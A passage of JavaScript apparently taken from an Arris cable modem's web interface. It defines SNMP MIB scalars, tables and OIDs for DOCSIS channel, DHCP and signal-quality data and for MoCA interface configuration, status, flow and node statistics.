Scalar(\"mib2interfaceNumber\",\"1.3.6.1.2.1.2.1\",2);\nvar mib2iftable = new Table(\"mib2iftable\", \"1.3.6.1.2.1.2.2\");\nmib2iftable.ifIndex = new Column(\"ifIndex\",\"1.3.6.1.2.1.2.2.1.1\",2);\nmib2iftable.ifDescr = new Column(\"ifDescr\",\"1.3.6.1.2.1.2.2.1.2\",4);\nmib2iftable.ifType = new Column(\"ifType\",\"1.3.6.1.2.1.2.2.1.3\",2);\nmib2iftable.ifMtu = new Column(\"ifMtu\",\"1.3.6.1.2.1.2.2.1.4\",2);\nmib2iftable.ifSpeed =      new Column(\"ifSpeed\",     \"1.3.6.1.2.1.2.2.1.5\",0x42);\nmib2iftable.ifPhyAddress = new Column(\"ifPhyAddress\",\"1.3.6.1.2.1.2.2.1.6\",4,1);\nmib2iftable.ifOperStatus = new Column(\"ifOperStatus\",\"1.3.6.1.2.1.2.2.1.8\",2);\n// scm start\nmib2iftable.ifUpTime =     new Column(\"ifUpTime\",    \"1.3.6.1.2.1.2.2.1.9\",4,1);\n// scm end\n\nvar arrisCmDoc30Software = new Container(\"arrisCmDoc30Software\", \"1.3.6.1.4.1.4115.1.3.4.1.5\");\narrisCmDoc30Software.RegistrationState = new Scalar(\"arrisCmDoc30SwRegistrationState\",\"1.3.6.1.4.1.4115.1.3.4.1.5.9\",2);\nvar arrisCmDoc30DhcpSvrParameters = new Container(\"arrisCmDoc30DhcpSvrParameters\", \"1.3.6.1.4.1.4115.1.3.4.1.4.2\");\narrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr = new Scalar(\"arrisCmDoc30DhcpTimeSvrIpAddr\",\"1.3.6.1.4.1.4115.1.3.4.1.4.2.4\",4,1);\narrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr = new Scalar(\"arrisCmDoc30DhcpPrimaryDhcpServerIpAddr\",\"1.3.6.1.4.1.4115.1.3.4.1.4.2.2\",4,1);\narrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr = new Scalar(\"arrisCmDoc30DhcpTftpSvrIpAddr\",\"1.3.6.1.4.1.4115.1.3.4.1.4.2.3\",4,1);\narrisCmDoc30DhcpSvrParameters.TimeOffset = new Scalar(\"arrisCmDoc30DhcpCmTimeOffset\",\"1.3.6.1.4.1.4115.1.3.4.1.4.2.5\",2);\narrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr = new Scalar(\"arrisCmDoc30DhcpPrimaryTeleDhcpSvr\",\"1.3.6.1.4.1.4115.1.3.4.1.4.2.6\",4,1);\narrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr = new Scalar(\"arrisCmDoc30DhcpSecondaryTeleDhcpSvr\",\"1.3.6.1.4.1.4115.1.3.4.1.4.2.7\",4,1);\nvar arCmDoc30DhcpPrimaryDhcpServerIpAddr = arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr;\nvar arCmDoc30DhcpTftpSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr;\nvar arCmDoc30DhcpTimeSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr;\nvar arCmDoc30DhcpTimeOffset = arrisCmDoc30DhcpSvrParameters.TimeOffset;\nvar arCmDoc30DhcpPrimaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr;\nvar arCmDoc30DhcpSecondaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr;\n\n\nvar arrisCmDoc30DhcpCmParameters = new Container(\"arrisCmDoc30DhcpCmParameters\", \"1.3.6.1.4.1.4115.1.3.4.1.4.3\");\narrisCmDoc30DhcpCmParameters.CmIpAddr = new Scalar(\"arrisCmDoc30DhcpCmIpAddr\",\"1.3.6.1.4.1.4115.1.3.4.1.4.3.2\",4,1);\narrisCmDoc30DhcpCmParameters.CmSubNetMask = new Scalar(\"arrisCmDoc30DhcpCmSubNetMask\",\"1.3.6.1.4.1.4115.1.3.4.1.4.3.3\",4,1);\narrisCmDoc30DhcpCmParameters.CmGatewayIpAddr = new Scalar(\"arrisCmDoc30DhcpCmGatewayIpAddr\",\"1.3.6.1.4.1.4115.1.3.4.1.4.3.4\",4,1);\narrisCmDoc30DhcpCmParameters.CmConfigFile = new Scalar(\"arrisCmDoc30DhcpCmConfigFile\",\"1.3.6.1.4.1.4115.1.3.4.1.4.3.5\",4);\nvar arCmDoc30DhcpCmIpAddr = arrisCmDoc30DhcpCmParameters.CmIpAddr;\nvar arCmDoc30DhcpCmSubNetMask = arrisCmDoc30DhcpCmParameters.CmSubNetMask;\nvar arCmDoc30DhcpCmGatewayIpAddr = arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr;\nvar arCmDoc30DhcpCmConfigFile = arrisCmDoc30DhcpCmParameters.CmConfigFile;\n\nvar arrisCmDoc30Setup = new Container(\"arrisCmDoc30Setup\", \"1.3.6.1.4.1.4115.1.3.4.1.3\");\narrisCmDoc30Setup.MddIpModeOverride = new Scalar(\"arrisCmDoc30SetupMddIpModeOverride\",\"1.3.6.1.4.1.4115.1.3.4.1.3.7\",2);\nvar arCmDoc30SetupMddIpModeOverride = arrisCmDoc30Setup.MddIpModeOverride;\n\nvar arrisCmDoc30Base = new Container(\"arrisCmDoc30Base\", \"1.3.6.1.4.1.4115.1.3.4.1.1\");\narrisCmDoc30Base.TodStatus = new Scalar(\"arrisCmDoc30BaseTodStatus\",\"1.3.6.1.4.1.4115.1.3.4.1.1.14\",2);\nvar arCmDoc30BaseTodStatus = arrisCmDoc30Base.TodStatus;\n\nvar docsIfDownstreamChannelTable = new Table(\"docsIfDownstreamChannelTable\", \"1.3.6.1.2.1.10.127.1.1.1\");\ndocsIfDownstreamChannelTable.Frequency = new Column(\"docsIfDownChannelFrequency\",\"1.3.6.1.2.1.10.127.1.1.1.1.2\",2);\ndocsIfDownstreamChannelTable.Power = new Column(\"docsIfDownChannelPower\",\"1.3.6.1.2.1.10.127.1.1.1.1.6\",2);\ndocsIfDownstreamChannelTable.Modulation = new Column(\"docsIfDownChannelModulation\",\"1.3.6.1.2.1.10.127.1.1.1.1.4\",2);\n\nvar docsIfSignalQualityTable = new Table(\"docsIfSignalQualityTable\", \"1.3.6.1.2.1.10.127.1.1.4\");\ndocsIfSignalQualityTable.SignalNoise = new Column(\"docsIfSigQSignalNoise\",\"1.3.6.1.2.1.10.127.1.1.4.1.5\",2);\ndocsIfSignalQualityTable.Unerroreds = new Column(\"docsIfSigQUnerroreds\",\"1.3.6.1.2.1.10.127.1.1.4.1.2\",0x41);\ndocsIfSignalQualityTable.Correcteds = new Column(\"docsIfSigQCorrecteds\",\"1.3.6.1.2.1.10.127.1.1.4.1.3\",0x41);\ndocsIfSignalQualityTable.Uncorrectables = new Column(\"docsIfSigQUncorrectables\",\"1.3.6.1.2.1.10.127.1.1.4.1.4\",0x41);\n\nvar docsIfUpstreamChannelTable = new Table(\"docsIfUpstreamChannelTable\", \"1.3.6.1.2.1.10.127.1.1.2\");\ndocsIfUpstreamChannelTable.ChannelId = new Column(\"docsIfUpChannelId\",\"1.3.6.1.2.1.10.127.1.1.2.1.1\",2);\ndocsIfUpstreamChannelTable.Frequency = new Column(\"docsIfUpChannelFrequency\",\"1.3.6.1.2.1.10.127.1.1.2.1.2\",2);\ndocsIfUpstreamChannelTable.Status = new Column(\"docsIfUpChannelStatus\",\"1.3.6.1.2.1.10.127.1.1.2.1.18\",2);\n\nvar arrisCmDoc30IfUpstreamChannelExtendedTable = new Table(\"arrisCmDoc30IfUpstreamChannelExtendedTable\", \"1.3.6.1.4.1.4115.1.3.4.1.9.2\");\narrisCmDoc30IfUpstreamChannelExtendedTable.SymbolRate = new Column(\"arrisCmDoc30IfUpChannelExtendedSymbolRate\",\"1.3.6.1.4.1.4115.1.3.4.1.9.2.1.2\",2);\n/*  kSym/s */\narrisCmDoc30IfUpstreamChannelExtendedTable.Modulation = new Column(\"arrisCmDoc30IfUpChannelExtendedModulation\",\"1.3.6.1.4.1.4115.1.3.4.1.9.2.1.3\",2);\n/*  1: qpsk(1)  2: qam8(2)  3: qam16(3)  4: qam32(4)  5: qam64(5)  6: qam128(6)   7: qam256(7)   8: err(-1) */\n\nvar docsIf3CmStatusUsTable = new Table(\"docsIf3CmStatusUsTable\", \"1.3.6.1.4.1.4491.2.1.20.1.2\");\ndocsIf3CmStatusUsTable.TxPower = new Column(\"docsIf3CmStatusUsTxPower\",\"1.3.6.1.4.1.4491.2.1.20.1.2.1.1\",2);\n\nvar docsIf3CmStatusTable = new Table(\"docsIf3CmStatusTable\", \"1.3.6.1.4.1.4491.2.1.20.1.1\");\ndocsIf3CmStatusTable.docsIf3CmStatusValue = new Column(\"docsIf3CmStatusValue\",\"1.3.6.1.4.1.4491.2.1.20.1.1.1.1\",2);\nvar ardocsIf3CmStatusValue=docsIf3CmStatusTable.docsIf3CmStatusValue;\n\n\n// no need to load trigger\nMibObjects.loaded = true;\n\n\n//\n// MoCA\n//\n\n\nvar mocaIfConfigTable = new Table(\"mocaIfConfigTable\", \"1.3.6.1.4.1.31621.1.1.1.1\");\nmocaIfConfigTable.mocaIfEnable = new Column(\"mocaIfEnable\", \"1.3.6.1.4.1.31621.1.1.1.1.1.1\", 2);\nmocaIfConfigTable.mocaIfChannelMask = new Column(\"mocaIfChannelMask\", \"1.3.6.1.4.1.31621.1.1.1.1.1.2\", 66);\nmocaIfConfigTable.mocaIfPowerControl = new Column(\"mocaIfPowerControl\", \"1.3.6.1.4.1.31621.1.1.1.1.1.3\", 2);\nmocaIfConfigTable.mocaIfTxPowerLimit = new Column(\"mocaIfTxPowerLimit\", \"1.3.6.1.4.1.31621.1.1.1.1.1.4\", 66);\nmocaIfConfigTable.mocaIfBeaconPowerLimit = new Column(\"mocaIfBeaconPowerLimit\", \"1.3.6.1.4.1.31621.1.1.1.1.1.5\", 66);\nmocaIfConfigTable.mocaIfPowerControlTargetRate = new Column(\"mocaIfPowerControlTargetRate\", \"1.3.6.1.4.1.31621.1.1.1.1.1.6\", 66);\nmocaIfConfigTable.mocaIfPrivacyEnable = new Column(\"mocaIfPrivacyEnable\", \"1.3.6.1.4.1.31621.1.1.1.1.1.7\", 2);\nmocaIfConfigTable.mocaIfPassword = new Column(\"mocaIfPassword\", \"1.3.6.1.4.1.31621.1.1.1.1.1.8\", 4);\nmocaIfConfigTable.mocaIfPreferredNC = new Column(\"mocaIfPreferredNC\", \"1.3.6.1.4.1.31621.1.1.1.1.1.9\", 2);\nmocaIfConfigTable.mocaIfAccessEnable = new Column(\"mocaIfAccessEnable\", \"1.3.6.1.4.1.31621.1.1.1.1.1.10\", 2);\nmocaIfConfigTable.mocaIfPhyThreshold = new Column(\"mocaIfPhyThreshold\", \"1.3.6.1.4.1.31621.1.1.1.1.1.11\", 66);\nmocaIfConfigTable.mocaIfPhyThresholdEnable = new Column(\"mocaIfPhyThresholdEnable\", \"1.3.6.1.4.1.31621.1.1.1.1.1.12\", 2);\nmocaIfConfigTable.mocaIfStatusChangeEnable = new Column(\"mocaIfStatusChangeEnable\", \"1.3.6.1.4.1.31621.1.1.1.1.1.13\", 2);\nmocaIfConfigTable.mocaIfNumNodesChangeEnable = new Column(\"mocaIfNumNodesChangeEnable\", \"1.3.6.1.4.1.31621.1.1.1.1.1.14\", 2);\nvar mocaIfEnable = mocaIfConfigTable.mocaIfEnable;\nvar mocaIfChannelMask = mocaIfConfigTable.mocaIfChannelMask;\nvar mocaIfPowerControl = mocaIfConfigTable.mocaIfPowerControl;\nvar mocaIfTxPowerLimit = mocaIfConfigTable.mocaIfTxPowerLimit;\nvar mocaIfBeaconPowerLimit = mocaIfConfigTable.mocaIfBeaconPowerLimit;\nvar mocaIfPowerControlTargetRate = mocaIfConfigTable.mocaIfPowerControlTargetRate;\nvar mocaIfPrivacyEnable = mocaIfConfigTable.mocaIfPrivacyEnable;\nvar mocaIfPassword = mocaIfConfigTable.mocaIfPassword;\nvar mocaIfPreferredNC = mocaIfConfigTable.mocaIfPreferredNC;\nvar mocaIfAccessEnable = mocaIfConfigTable.mocaIfAccessEnable;\nvar mocaIfPhyThreshold = mocaIfConfigTable.mocaIfPhyThreshold;\nvar mocaIfPhyThresholdEnable = mocaIfConfigTable.mocaIfPhyThresholdEnable;\nvar mocaIfStatusChangeEnable = mocaIfConfigTable.mocaIfStatusChangeEnable;\nvar mocaIfNumNodesChangeEnable = mocaIfConfigTable.mocaIfNumNodesChangeEnable;\n\nvar mocaIfAccessTable = new Table(\"mocaIfAccessTable\", \"1.3.6.1.4.1.31621.1.1.1.2\");\nmocaIfAccessTable.mocaIfAccessIndex = new Column(\"mocaIfAccessIndex\", \"1.3.6.1.4.1.31621.1.1.1.2.1.1\", 2);\nmocaIfAccessTable.mocaIfAccessMacAddress = new Column(\"mocaIfAccessMacAddress\", \"1.3.6.1.4.1.31621.1.1.1.2.1.2\", 4,1);\nmocaIfAccessTable.mocaIfAccessStatus = new Column(\"mocaIfAccessStatus\", \"1.3.6.1.4.1.31621.1.1.1.2.1.3\", 2);\nvar mocaIfAccessIndex = mocaIfAccessTable.mocaIfAccessIndex;\nvar mocaIfAccessMacAddress = mocaIfAccessTable.mocaIfAccessMacAddress;\nvar mocaIfAccessStatus = mocaIfAccessTable.mocaIfAccessStatus;\n\nvar mocaIfStatusTable = new Table(\"mocaIfStatusTable\", \"1.3.6.1.4.1.31621.1.1.1.3\");\nmocaIfStatusTable.mocaIfStatus = new Column(\"mocaIfStatus\", \"1.3.6.1.4.1.31621.1.1.1.3.1.1\", 2);\nmocaIfStatusTable.mocaIfLinkUpTime = new Column(\"mocaIfLinkUpTime\", \"1.3.6.1.4.1.31621.1.1.1.3.1.2\", 66);\nmocaIfStatusTable.mocaIfSoftwareVersion = new Column(\"mocaIfSoftwareVersion\", \"1.3.6.1.4.1.31621.1.1.1.3.1.3\", 4);\nmocaIfStatusTable.mocaIfMocaVersion = new Column(\"mocaIfMocaVersion\", \"1.3.6.1.4.1.31621.1.1.1.3.1.4\", 2);\nmocaIfStatusTable.mocaIfNetworkVersion = new Column(\"mocaIfNetworkVersion\", \"1.3.6.1.4.1.31621.1.1.1.3.1.5\", 2);\nmocaIfStatusTable.mocaIfMacAddress = new Column(\"mocaIfMacAddress\", \"1.3.6.1.4.1.31621.1.1.1.3.1.6\", 4,1);\nmocaIfStatusTable.mocaIfNodeID = new Column(\"mocaIfNodeID\", \"1.3.6.1.4.1.31621.1.1.1.3.1.7\", 66);\nmocaIfStatusTable.mocaIfName = new Column(\"mocaIfName\", \"1.3.6.1.4.1.31621.1.1.1.3.1.8\", 4);\nmocaIfStatusTable.mocaIfNumNodes = new Column(\"mocaIfNumNodes\", \"1.3.6.1.4.1.31621.1.1.1.3.1.9\", 66);\nmocaIfStatusTable.mocaIfNC = new Column(\"mocaIfNC\", \"1.3.6.1.4.1.31621.1.1.1.3.1.10\", 66);\nmocaIfStatusTable.mocaIfBackupNC = new Column(\"mocaIfBackupNC\", \"1.3.6.1.4.1.31621.1.1.1.3.1.11\", 66);\nmocaIfStatusTable.mocaIfRFChannel = new Column(\"mocaIfRFChannel\", \"1.3.6.1.4.1.31621.1.1.1.3.1.12\", 2);\nmocaIfStatusTable.mocaIfLOF = new Column(\"mocaIfLOF\", \"1.3.6.1.4.1.31621.1.1.1.3.1.13\", 2);\nmocaIfStatusTable.mocaIfTabooChannelMask = new Column(\"mocaIfTabooChannelMask\", \"1.3.6.1.4.1.31621.1.1.1.3.1.14\", 66);\nmocaIfStatusTable.mocaIfNodeTabooChannelMask = new Column(\"mocaIfNodeTabooChannelMask\", \"1.3.6.1.4.1.31621.1.1.1.3.1.15\", 66);\nmocaIfStatusTable.mocaIfCapabilityMask = new Column(\"mocaIfCapabilityMask\", \"1.3.6.1.4.1.31621.1.1.1.3.1.16\", 66);\nmocaIfStatusTable.mocaIfTxGcdPowerReduction = new Column(\"mocaIfTxGcdPowerReduction\", \"1.3.6.1.4.1.31621.1.1.1.3.1.17\", 66);\nmocaIfStatusTable.mocaIfQAM256Capable = new Column(\"mocaIfQAM256Capable\", \"1.3.6.1.4.1.31621.1.1.1.3.1.18\", 2);\nmocaIfStatusTable.mocaIfPacketsAggrCapability = new Column(\"mocaIfPacketsAggrCapability\", \"1.3.6.1.4.1.31621.1.1.1.3.1.19\", 2);\nmocaIfStatusTable.mocaIfMaxIngressNodeBw = new Column(\"mocaIfMaxIngressNodeBw\", \"1.3.6.1.4.1.31621.1.1.1.3.1.20\", 66);\nmocaIfStatusTable.mocaIfMaxEgressNodeBw = new Column(\"mocaIfMaxEgressNodeBw\", \"1.3.6.1.4.1.31621.1.1.1.3.1.21\", 66);\nmocaIfStatusTable.mocaIfTxGcdRate = new Column(\"mocaIfTxGcdRate\", \"1.3.6.1.4.1.31621.1.1.1.3.1.22\", 66);\nvar mocaIfStatus = mocaIfStatusTable.mocaIfStatus;\nvar mocaIfLinkUpTime = mocaIfStatusTable.mocaIfLinkUpTime;\nvar mocaIfSoftwareVersion = mocaIfStatusTable.mocaIfSoftwareVersion;\nvar mocaIfMocaVersion = mocaIfStatusTable.mocaIfMocaVersion;\nvar mocaIfNetworkVersion = mocaIfStatusTable.mocaIfNetworkVersion;\nvar mocaIfMacAddress = mocaIfStatusTable.mocaIfMacAddress;\nvar mocaIfNodeID = mocaIfStatusTable.mocaIfNodeID;\nvar mocaIfName = mocaIfStatusTable.mocaIfName;\nvar mocaIfNumNodes = mocaIfStatusTable.mocaIfNumNodes;\nvar mocaIfNC = mocaIfStatusTable.mocaIfNC;\nvar mocaIfBackupNC = mocaIfStatusTable.mocaIfBackupNC;\nvar mocaIfRFChannel = mocaIfStatusTable.mocaIfRFChannel;\nvar mocaIfLOF = mocaIfStatusTable.mocaIfLOF;\nvar mocaIfTabooChannelMask = mocaIfStatusTable.mocaIfTabooChannelMask;\nvar mocaIfNodeTabooChannelMask = mocaIfStatusTable.mocaIfNodeTabooChannelMask;\nvar mocaIfCapabilityMask = mocaIfStatusTable.mocaIfCapabilityMask;\nvar mocaIfTxGcdPowerReduction = mocaIfStatusTable.mocaIfTxGcdPowerReduction;\nvar mocaIfQAM256Capable = mocaIfStatusTable.mocaIfQAM256Capable;\nvar mocaIfPacketsAggrCapability = mocaIfStatusTable.mocaIfPacketsAggrCapability;\nvar mocaIfMaxIngressNodeBw = mocaIfStatusTable.mocaIfMaxIngressNodeBw;\nvar mocaIfMaxEgressNodeBw = mocaIfStatusTable.mocaIfMaxEgressNodeBw;\nvar mocaIfTxGcdRate = mocaIfStatusTable.mocaIfTxGcdRate;\n\nvar mocaIfStatsTable = new Table(\"mocaIfStatsTable\", \"1.3.6.1.4.1.31621.1.1.1.4\");\nmocaIfStatsTable.mocaIfTxPackets = new Column(\"mocaIfTxPackets\", \"1.3.6.1.4.1.31621.1.1.1.4.1.1\", 65);\nmocaIfStatsTable.mocaIfTxDrops = new Column(\"mocaIfTxDrops\", \"1.3.6.1.4.1.31621.1.1.1.4.1.2\", 65);\nmocaIfStatsTable.mocaIfRxPackets = new Column(\"mocaIfRxPackets\", \"1.3.6.1.4.1.31621.1.1.1.4.1.3\", 65);\nmocaIfStatsTable.mocaIfRxCorrectedErrors = new Column(\"mocaIfRxCorrectedErrors\", \"1.3.6.1.4.1.31621.1.1.1.4.1.4\", 65);\nmocaIfStatsTable.mocaIfRxDrops = new Column(\"mocaIfRxDrops\", \"1.3.6.1.4.1.31621.1.1.1.4.1.5\", 65);\nmocaIfStatsTable.mocaIfEgressNodeNumFlows = new Column(\"mocaIfEgressNodeNumFlows\", \"1.3.6.1.4.1.31621.1.1.1.4.1.6\", 66);\nmocaIfStatsTable.mocaIfIngressNodeNumFlows = new Column(\"mocaIfIngressNodeNumFlows\", \"1.3.6.1.4.1.31621.1.1.1.4.1.7\", 66);\nvar mocaIfTxPackets = mocaIfStatsTable.mocaIfTxPackets;\nvar mocaIfTxDrops = mocaIfStatsTable.mocaIfTxDrops;\nvar mocaIfRxPackets = mocaIfStatsTable.mocaIfRxPackets;\nvar mocaIfRxCorrectedErrors = mocaIfStatsTable.mocaIfRxCorrectedErrors;\nvar mocaIfRxDrops = mocaIfStatsTable.mocaIfRxDrops;\nvar mocaIfEgressNodeNumFlows = mocaIfStatsTable.mocaIfEgressNodeNumFlows;\nvar mocaIfIngressNodeNumFlows = mocaIfStatsTable.mocaIfIngressNodeNumFlows;\n\nvar mocaIfFlowStatsTable = new Table(\"mocaIfFlowStatsTable\", \"1.3.6.1.4.1.31621.1.1.1.5\");\nmocaIfFlowStatsTable.mocaIfFlowIndex = new Column(\"mocaIfFlowIndex\", \"1.3.6.1.4.1.31621.1.1.1.5.1.1\", 2);\nmocaIfFlowStatsTable.mocaIfFlowID = new Column(\"mocaIfFlowID\", \"1.3.6.1.4.1.31621.1.1.1.5.1.2\", 4);\nmocaIfFlowStatsTable.mocaIfPacketDA = new Column(\"mocaIfPacketDA\", \"1.3.6.1.4.1.31621.1.1.1.5.1.3\", 4,1);\nmocaIfFlowStatsTable.mocaIfPeakDataRate = new Column(\"mocaIfPeakDataRate\", \"1.3.6.1.4.1.31621.1.1.1.5.1.4\", 66);\nmocaIfFlowStatsTable.mocaIfBurstSize = new Column(\"mocaIfBurstSize\", \"1.3.6.1.4.1.31621.1.1.1.5.1.5\", 66);\nmocaIfFlowStatsTable.mocaIfLeaseTime = new Column(\"mocaIfLeaseTime\", \"1.3.6.1.4.1.31621.1.1.1.5.1.6\", 66);\nmocaIfFlowStatsTable.mocaIfFlowTag = new Column(\"mocaIfFlowTag\", \"1.3.6.1.4.1.31621.1.1.1.5.1.7\", 66);\nmocaIfFlowStatsTable.mocaIfLeaseTimeLeft = new Column(\"mocaIfLeaseTimeLeft\", \"1.3.6.1.4.1.31621.1.1.1.5.1.8\", 66);\nmocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr = new Column(\"mocaIfTxPacketsOnePacketAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.9\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr = new Column(\"mocaIfTxPacketsTwoPacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.10\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr = new Column(\"mocaIfTxPacketsThreePacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.11\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr = new Column(\"mocaIfTxPacketsFourPacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.12\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr = new Column(\"mocaIfTxPacketsFivePacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.13\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr = new Column(\"mocaIfTxPacketsSixPacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.14\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr = new Column(\"mocaIfTxPacketsSevenPacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.15\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr = new Column(\"mocaIfTxPacketsEightPacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.16\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr = new Column(\"mocaIfTxPacketsNinePacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.17\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr = new Column(\"mocaIfTxPacketsTenPacketsAggr\", \"1.3.6.1.4.1.31621.1.1.1.5.1.18\", 65);\nmocaIfFlowStatsTable.mocaIfTxPacketsFlow = new Column(\"mocaIfTxPacketsFlow\", \"1.3.6.1.4.1.31621.1.1.1.5.1.19\", 66);\nvar mocaIfFlowIndex = mocaIfFlowStatsTable.mocaIfFlowIndex;\nvar mocaIfFlowID = mocaIfFlowStatsTable.mocaIfFlowID;\nvar mocaIfPacketDA = mocaIfFlowStatsTable.mocaIfPacketDA;\nvar mocaIfPeakDataRate = mocaIfFlowStatsTable.mocaIfPeakDataRate;\nvar mocaIfBurstSize = mocaIfFlowStatsTable.mocaIfBurstSize;\nvar mocaIfLeaseTime = mocaIfFlowStatsTable.mocaIfLeaseTime;\nvar mocaIfFlowTag = mocaIfFlowStatsTable.mocaIfFlowTag;\nvar mocaIfLeaseTimeLeft = mocaIfFlowStatsTable.mocaIfLeaseTimeLeft;\nvar mocaIfTxPacketsOnePacketAggr = mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr;\nvar mocaIfTxPacketsTwoPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr;\nvar mocaIfTxPacketsThreePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr;\nvar mocaIfTxPacketsFourPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr;\nvar mocaIfTxPacketsFivePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr;\nvar mocaIfTxPacketsSixPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr;\nvar mocaIfTxPacketsSevenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr;\nvar mocaIfTxPacketsEightPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr;\nvar mocaIfTxPacketsNinePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr;\nvar mocaIfTxPacketsTenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr;\nvar mocaIfTxPacketsFlow = mocaIfFlowStatsTable.mocaIfTxPacketsFlow;\n\nvar mocaNodeTable = new Table(\"mocaNodeTable\", \"1.3.6.1.4.1.31621.1.1.1.6\");\nmocaNodeTable.mocaNodeIndex = new Column(\"mocaNodeIndex\", \"1.3.6.1.4.1.31621.1.1.1.6.1.1\", 66);\nmocaNodeTable.mocaNodeMocaVersion = new Column(\"mocaNodeMocaVersion\", \"1.3.6.1.4.1.31621.1.1.1.6.1.2\", 2);\nmocaNodeTable.mocaNodeMacAddress = new Column(\"mocaNodeMacAddress\", \"1.3.6.1.4.1.31621.1.1.1.6.1.3\", 4,1);\nmocaNodeTable.mocaNodeTxGcdRate = new Column(\"mocaNodeTxGcdRate\", \"1.3.6.1.4.1.31621.1.1.1.6.1.4\", 66);\nmocaNodeTable.mocaNodeRxGcdPower = new Column(\"mocaNodeRxGcdPower\", \"1.3.6.1.4.1.31621.1.1.1.6.1.5\", 2);\nmocaNodeTable.mocaNodeTxPowerReduction = new Column(\"mocaNodeTxPowerReduction\", \"1.3.6.1.4.1.31621.1.1.1.6.1.6\", 66);\nmocaNodeTable.mocaNodeRxPower = new Column(\"mocaNodeRxPower\", \"1.3.6.1.4.1.31621.1.1.1.6.1.7\", 2);\nmocaNodeTable.mocaNodePreferredNC = new Column(\"mocaNodePreferredNC\", \"1.3.6.1.4.1.31621.1.1.1.6.1.8\", 2);\nmocaNodeTable.mocaNodeQAM256Capable = new Column(\"mocaNodeQAM256Capable\", \"1.3.6.1.4.1.31621.1.1.1.6.1.9\", 2);\nmocaNodeTable.mocaNodePacketsAggrCapability = new Column(\"mocaNodePacketsAggrCapability\", \"1.3.6.1.4.1.31621.1.1.1.6.1.10\", 2);\nmocaNodeTable.mocaNodeRxPackets = new Column(\"mocaNodeRxPackets\", \"1.3.6.1.4.1.31621.1.1.1.6.1.11\", 65);\nmocaNodeTable.mocaNodeRxCorrected = new Column(\"mocaNodeRxCorrected\", \"1.3.6.1.4.1.31621.1.1.1.6.1.12\", 65);\nmocaNodeTable.mocaNodeRxDrops = new Column(\"mocaNodeRxDrops\", \"1.3.6.1.4.1.31621.1.1.1.6.1.13\", 65);\nmocaNodeTable.mocaNodeSNR = new Column(\"mocaNodeSNR\", \"1.3.6.1.4.1.31621.1.1.1.6.1.14\", 66);\nvar mocaNodeIndex = mocaNodeTable.mocaNodeIndex;\nvar mocaNodeMocaVersion = mocaNodeTable.mocaNodeMocaVersion;\nvar mocaNodeMacAddress = mocaNodeTable.mocaNodeMacAddress;\nvar mocaNodeTxGcdRate = mocaNodeTable.mocaNodeTxGcdRate;\nvar mocaNodeRxGcdPower = mocaNodeTable.mocaNodeRxGcdPower;\nvar mocaNodeTxPowerReduction = mocaNodeTable.mocaNodeTxPowerReduction;\nvar mocaNodeRxPower = mocaNodeTable.mocaNodeRxPower;\nvar mocaNodePreferredNC = mocaNodeTable.mocaNodePreferredNC;\nvar mocaNodeQAM256Capable = mocaNodeTable.mocaNodeQAM256Capable;\nvar mocaNodePacketsAggrCapability = mocaNodeTable.mocaNodePacketsAggrCapability;\nvar mocaNodeRxPackets = mocaNodeTable.mocaNodeRxPackets;\nvar mocaNodeRxCorrected = mocaNodeTable.mocaNodeRxCorrected;\nvar mocaNodeRxDrops = mocaNodeTable.mocaNodeRxDrops;\nvar mocaNodeSNR = mocaNodeTable.mocaNodeSNR;\n\nvar mocaMeshTable = new Table(\"mocaMeshTable\", \"1.3.6.1.4.1.31621.1.1.1.7\");\nmocaMeshTable.mocaMeshTxNodeIndex = new Column(\"mocaMeshTxNodeIndex\", \"1.3.6.1.4.1.31621.1.1.1.7.1.1\", 66);\nmocaMeshTable.mocaMeshRxNodeIndex = new Column(\"mocaMeshRxNodeIndex\", \"1.3.6.1.4.1.31621.1.1.1.7.1.2\", 66);\nmocaMeshTable.mocaMeshTxRate = new Column(\"mocaMeshTxRate\", 